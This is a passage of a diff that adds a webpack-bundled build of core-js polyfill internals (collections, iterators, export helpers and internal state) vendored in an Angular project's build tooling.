(!ACCEPT_ITERABLES) { + Constructor = wrapper(function (target, iterable) { + anInstance(target, Constructor, CONSTRUCTOR_NAME); + var that = inheritIfRequired(new NativeConstructor(), target, Constructor); + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + return that; + }); + Constructor.prototype = NativePrototype; + NativePrototype.constructor = Constructor; + } + + if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) { + fixMethod('delete'); + fixMethod('has'); + IS_MAP && fixMethod('get'); + } + + if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); + + // weak collections should not contains .clear method + if (IS_WEAK && NativePrototype.clear) delete NativePrototype.clear; + } + + exported[CONSTRUCTOR_NAME] = Constructor; + $export({ global: true, forced: Constructor != NativeConstructor }, exported); + + setToStringTag(Constructor, CONSTRUCTOR_NAME); + + if (!IS_WEAK) common.setStrong(Constructor, CONSTRUCTOR_NAME, IS_MAP); + + return Constructor; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js": +/*!******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js ***! + \******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var ownKeys = __webpack_require__(/*! ../internals/own-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js"); +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); + +module.exports = function (target, source) { + var keys = ownKeys(source); + var defineProperty = definePropertyModule.f; + var getOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f; + for (var i = 0; i < keys.length; i++) { + var key = keys[i]; + if (!has(target, key)) defineProperty(target, key, getOwnPropertyDescriptor(source, key)); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + function F() { /* empty */ } + F.prototype.constructor = null; + return Object.getPrototypeOf(new F()) !== F.prototype; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js": +/*!******************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js ***! + \******************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var IteratorPrototype = __webpack_require__(/*! ../internals/iterators-core */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js").IteratorPrototype; +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); + +var returnThis = function () { return this; }; + +module.exports = function (IteratorConstructor, NAME, next) { + var TO_STRING_TAG = NAME + ' Iterator'; + IteratorConstructor.prototype = create(IteratorPrototype, { next: createPropertyDescriptor(1, next) }); + setToStringTag(IteratorConstructor, TO_STRING_TAG, false, true); + Iterators[TO_STRING_TAG] = returnThis; + return IteratorConstructor; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js": +/*!*****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js ***! + \*****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (bitmap, value) { + return { + enumerable: !(bitmap & 1), + configurable: !(bitmap & 2), + writable: !(bitmap & 4), + value: value + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var createIteratorConstructor = __webpack_require__(/*! ../internals/create-iterator-constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-iterator-constructor.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var setPrototypeOf = __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); +var IteratorsCore = __webpack_require__(/*! ../internals/iterators-core */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators-core.js"); +var IteratorPrototype = IteratorsCore.IteratorPrototype; +var BUGGY_SAFARI_ITERATORS = IteratorsCore.BUGGY_SAFARI_ITERATORS; +var KEYS = 'keys'; +var VALUES = 'values'; +var ENTRIES = 'entries'; + +var returnThis = function () { return this; }; + +module.exports = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) { + createIteratorConstructor(IteratorConstructor, NAME, next); + + var getIterationMethod = function (KIND) { + if (KIND === DEFAULT && defaultIterator) return defaultIterator; + if (!BUGGY_SAFARI_ITERATORS && KIND in IterablePrototype) return IterablePrototype[KIND]; + switch (KIND) { + case KEYS: return function keys() { return new IteratorConstructor(this, KIND); }; + case VALUES: return function values() { return new IteratorConstructor(this, KIND); }; + case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); }; + } return function () { return new IteratorConstructor(this); }; + }; + + var TO_STRING_TAG = NAME + ' Iterator'; + var INCORRECT_VALUES_NAME = false; + var IterablePrototype = Iterable.prototype; + var nativeIterator = IterablePrototype[ITERATOR] + || IterablePrototype['@@iterator'] + || DEFAULT && IterablePrototype[DEFAULT]; + var defaultIterator = !BUGGY_SAFARI_ITERATORS && nativeIterator || getIterationMethod(DEFAULT); + var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator; + var CurrentIteratorPrototype, methods, KEY; + + // fix native + if (anyNativeIterator) { + CurrentIteratorPrototype = getPrototypeOf(anyNativeIterator.call(new Iterable())); + if (IteratorPrototype !== Object.prototype && CurrentIteratorPrototype.next) { + if (!IS_PURE && getPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype) { + if (setPrototypeOf) { + setPrototypeOf(CurrentIteratorPrototype, IteratorPrototype); + } else if (typeof CurrentIteratorPrototype[ITERATOR] != 'function') { + hide(CurrentIteratorPrototype, ITERATOR, returnThis); + } + } + // Set @@toStringTag to native iterators + setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true, true); + if (IS_PURE) Iterators[TO_STRING_TAG] = returnThis; + } + } + + // fix Array#{values, @@iterator}.name in V8 / FF + if (DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) { + INCORRECT_VALUES_NAME = true; + defaultIterator = function values() { return nativeIterator.call(this); }; + } + + // define iterator + if ((!IS_PURE || FORCED) && IterablePrototype[ITERATOR] !== defaultIterator) { + hide(IterablePrototype, ITERATOR, defaultIterator); + } + Iterators[NAME] = defaultIterator; + + // export additional methods + if (DEFAULT) { + methods = { + values: getIterationMethod(VALUES), + keys: IS_SET ? defaultIterator : getIterationMethod(KEYS), + entries: getIterationMethod(ENTRIES) + }; + if (FORCED) for (KEY in methods) { + if (BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) { + redefine(IterablePrototype, KEY, methods[KEY]); + } + } else $export({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME }, methods); + } + + return methods; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var document = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").document; +// typeof document.createElement is 'object' in old IE +var exist = isObject(document) && isObject(document.createElement); + +module.exports = function (it) { + return exist ? document.createElement(it) : {}; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// IE8- don't enum bug keys +module.exports = [ + 'constructor', + 'hasOwnProperty', + 'isPrototypeOf', + 'propertyIsEnumerable', + 'toLocaleString', + 'toString', + 'valueOf' +]; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var getOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var copyConstructorProperties = __webpack_require__(/*! ../internals/copy-constructor-properties */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/copy-constructor-properties.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); + +/* + options.target - name of the target object + options.global - target is the global object + options.stat - export as static methods of target + options.proto - export as prototype methods of target + options.real - real prototype method for the `pure` version + options.forced - export even if the native feature is available + options.bind - bind methods to the target, required for the `pure` version + options.wrap - wrap constructors to preventing global pollution, required for the `pure` version + options.unsafe - use the simple assignment of property instead of delete + defineProperty + options.sham - add a flag to not completely full polyfills + options.enumerable - export as enumerable property + options.noTargetGet - prevent calling a getter on target +*/ +module.exports = function (options, source) { + var TARGET = options.target; + var GLOBAL = options.global; + var STATIC = options.stat; + var FORCED, target, key, targetProperty, sourceProperty, descriptor; + if (GLOBAL) { + target = global; + } else if (STATIC) { + target = global[TARGET] || setGlobal(TARGET, {}); + } else { + target = (global[TARGET] || {}).prototype; + } + if (target) for (key in source) { + sourceProperty = source[key]; + if (options.noTargetGet) { + descriptor = getOwnPropertyDescriptor(target, key); + targetProperty = descriptor && descriptor.value; + } else targetProperty = target[key]; + FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced); + // contained in target + if (!FORCED && targetProperty !== undefined) { + if (typeof sourceProperty === typeof targetProperty) continue; + copyConstructorProperties(sourceProperty, targetProperty); + } + // add a flag to not completely full polyfills + if (options.sham || (targetProperty && targetProperty.sham)) { + hide(sourceProperty, 'sham', true); + } + // extend global + redefine(target, key, sourceProperty, options); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js": +/*!********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js ***! + \********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (exec) { + try { + return !!exec(); + } catch (error) { + return true; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.isExtensible(Object.preventExtensions({})); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('native-function-to-string', Function.toString); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var path = __webpack_require__(/*! ../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js"); +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); + +var aFunction = function (variable) { + return typeof variable == 'function' ? variable : undefined; +}; + +module.exports = function (namespace, method) { + return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global[namespace]) + : path[namespace] && path[namespace][method] || global[namespace] && global[namespace][method]; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ../internals/classof */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); + +module.exports = function (it) { + if (it != undefined) return it[ITERATOR] + || it['@@iterator'] + || Iterators[classof(it)]; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 +module.exports = typeof window == 'object' && window && window.Math == Math ? window + : typeof self == 'object' && self && self.Math == Math ? self + // eslint-disable-next-line no-new-func + : Function('return this')(); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var hasOwnProperty = {}.hasOwnProperty; + +module.exports = function (it, key) { + return hasOwnProperty.call(it, key); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); + +module.exports = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") ? function (object, key, value) { + return definePropertyModule.f(object, key, createPropertyDescriptor(1, value)); +} : function (object, key, value) { + object[key] = value; + return object; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var document = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").document; + +module.exports = document && document.documentElement; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") && !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Object.defineProperty(__webpack_require__(/*! ../internals/document-create-element */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js")('div'), 'a', { + get: function () { return 7; } + }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for non-array-like ES3 and non-enumerable old V8 strings +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var split = ''.split; + +module.exports = fails(function () { + // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346 + // eslint-disable-next-line no-prototype-builtins + return !Object('z').propertyIsEnumerable(0); +}) ? function (it) { + return classof(it) == 'String' ? split.call(it, '') : Object(it); +} : Object; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var setPrototypeOf = __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js"); + +module.exports = function (that, target, C) { + var S = target.constructor; + var P; + if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) { + setPrototypeOf(that, P); + } return that; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var METADATA = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js")('meta'); +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var id = 0; + +var isExtensible = Object.isExtensible || function () { + return true; +}; + +var setMetadata = function (it) { + defineProperty(it, METADATA, { value: { + objectID: 'O' + ++id, // object ID + weakData: {} // weak collections IDs + } }); +}; + +var fastKey = function (it, create) { + // return a primitive with prefix + if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it; + if (!has(it, METADATA)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return 'F'; + // not necessary to add metadata + if (!create) return 'E'; + // add missing metadata + setMetadata(it); + // return object ID + } return it[METADATA].objectID; +}; + +var getWeakData = function (it, create) { + if (!has(it, METADATA)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return true; + // not necessary to add metadata + if (!create) return false; + // add missing metadata + setMetadata(it); + // return the store of weak collections IDs + } return it[METADATA].weakData; +}; + +// add metadata on freeze-family methods calling +var onFreeze = function (it) { + if (FREEZING && meta.REQUIRED && isExtensible(it) && !has(it, METADATA)) setMetadata(it); + return it; +}; + +var meta = module.exports = { + REQUIRED: false, + fastKey: fastKey, + getWeakData: getWeakData, + onFreeze: onFreeze +}; + +__webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js")[METADATA] = true; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var NATIVE_WEAK_MAP = __webpack_require__(/*! ../internals/native-weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var objectHas = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var sharedKey = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js"); +var hiddenKeys = __webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js"); +var WeakMap = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").WeakMap; +var set, get, has; + +var enforce = function (it) { + return has(it) ? get(it) : set(it, {}); +}; + +var getterFor = function (TYPE) { + return function (it) { + var state; + if (!isObject(it) || (state = get(it)).type !== TYPE) { + throw TypeError('Incompatible receiver, ' + TYPE + ' required'); + } return state; + }; +}; + +if (NATIVE_WEAK_MAP) { + var store = new WeakMap(); + var wmget = store.get; + var wmhas = store.has; + var wmset = store.set; + set = function (it, metadata) { + wmset.call(store, it, metadata); + return metadata; + }; + get = function (it) { + return wmget.call(store, it) || {}; + }; + has = function (it) { + return wmhas.call(store, it); + }; +} else { + var STATE = sharedKey('state'); + hiddenKeys[STATE] = true; + set = function (it, metadata) { + hide(it, STATE, metadata); + return metadata; + }; + get = function (it) { + return objectHas(it, STATE) ? it[STATE] : {}; + }; + has = function (it) { + return objectHas(it, STATE); + }; +} + +module.exports = { + set: set, + get: get, + has: has, + enforce: enforce, + getterFor: getterFor +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// check on default Array iterator +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var ArrayPrototype = Array.prototype; + +module.exports = function (it) { + return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); + +// `IsArray` abstract operation +// https://tc39.github.io/ecma262/#sec-isarray +module.exports = Array.isArray || function isArray(arg) { + return classof(arg) == 'Array'; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var replacement = /#|\.prototype\./; + +var isForced = function (feature, detection) { + var value = data[normalize(feature)]; + return value == POLYFILL ? true + : value == NATIVE ? false + : typeof detection == 'function' ? fails(detection) + : !!detection; +}; + +var normalize = isForced.normalize = function (string) { + return String(string).replace(replacement, '.').toLowerCase(); +}; + +var data = isForced.data = {}; +var NATIVE = isForced.NATIVE = 'N'; +var POLYFILL = isForced.POLYFILL = 'P'; + +module.exports = isForced; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + return typeof it === 'object' ? it !== null : typeof it === 'function'; +}; + + +/***/ }), + +/***/ 